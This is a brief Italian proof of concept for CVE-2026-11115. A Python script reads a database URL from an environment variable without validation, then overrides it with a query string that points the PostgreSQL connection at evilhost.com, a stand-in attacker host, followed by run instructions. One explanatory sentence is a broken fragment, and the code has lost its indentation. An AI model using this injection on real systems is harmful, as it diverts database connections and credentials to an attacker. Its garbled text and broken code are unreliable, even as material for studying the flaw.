
Proof-of-concept Python minimale per CVE-2026-11115, che dimostra l'iniezione della stringa di connessione al database tramite variabili d'ambiente e il reindirizzamento verso host PostgreSQL controllati dall'attaccante.
# db_connector.py - Constructs DB connection string from environment
import os, psycopg2
def connect():
# Reads DB_URL; attacker can override via environment injection if they control an env var
db_url = os.getenv('DB_URL', 'postgresql://user:pass@localhost/db')
# Vulnerability: no validation; allows extra parameters like ?application_name=... but also SSRF or auth bypass
conn = psycopg2.connect(db_url)
return conn
# Simulate an attacker who can set environment variable:
os.environ['DB_URL'] = "postgresql://user:pass@localhost/db?host=evilhost.com&sslmode=disable"
c = connect() # Connects to attacker-controlled host!
print("Connected to attacker DB.")
Un'applicazione costruisce la propria stringa di connessione al database a partire da una variabile d'ambiente senza validazione. Se un attaccante può influenzare quella variabile (ad es., tramite server‑side request forgery o una configurazione errata della pipeline CI/CD), può reindirizzare la connessione al database verso il proprio server, intercettando o modificando i dati.
host) possono essere aggiunti per sovrascrivere l'host originale.Esegui la simulazione:
pip install psycopg2-binary
python db_connector.py
Il programma tenta di connettersi a evilhost.com invece che a localhost.